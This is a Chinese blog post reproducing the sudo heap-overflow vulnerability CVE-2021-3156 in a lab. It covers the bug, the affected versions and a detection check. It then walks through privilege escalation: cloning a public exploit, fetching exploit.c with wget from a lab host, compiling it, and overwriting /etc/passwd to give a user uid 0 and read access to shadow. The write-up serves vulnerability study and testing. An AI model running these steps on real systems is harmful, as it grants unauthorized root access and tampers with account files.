CVE-2021-3156-sudo缓冲区溢出复现

一、 漏洞简介

1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。目前漏洞细节已公开,请受影响的用户尽快采取措施进行防护。

 

二、影响范围

Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1

 

三、检测方法

前提条件:

这个用户必须存在于 /etc/sudoers文件中,否则执行 sudoedit -s / 会直接说sudoers文件中没有这个用户。

 

非root执行

sudoedit -s /


若返回以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。

不受影响的系统将显示以“ usage:”开头的错误

 

四、漏洞复现

centos7:192.168.110.133

 

漏洞环境搭建:

docker pull manishfoodtechs/xfcefulldesktop_ubuntu20.4
docker run -it manishfoodtechs/xfcefulldesktop_ubuntu20.4 /bin/bash

sudo版本

sudo --version|head -n 1

系统版本

lsb_release -a

新建test测试用户

useradd test
passwd test

 切换到root用户然后修改下sudoers文件权限,然后把test用户添加进去

chmod u+w /etc/sudoers
vi /etc/sudoers
test ALL=(ALL:ALL) ALL #添加这一条到root用户下

 

执行命令检测看看:

sudoedit -s /

 因为是用centos7拉的docker环境,我直接把exp下载到centos7中

git clone https://github.com/stong/CVE-2021-3156.git
python -m SimpleHTTPServer 8081

目标系统:

su test
cd /tmp

wget http://192.168.110.133:8081/exploit.c
gcc ./exploit.c

cp /etc/passwd kanpasswd

把kanpasswd中的test用户id和组id换为0
vim kanpasswd

 替换:

./a.out /etc/passwd kanpasswd

再重新看passwd,已经被修改了

cat /etc/passwd

再重新切换至test,此时id显示已提权,有权限看shadow

su test
id

五、漏洞修复

1、系统更新即可。

posted @ 2021-12-26 18:13  Saint_Michael  阅读(418)  评论(0编辑  收藏  举报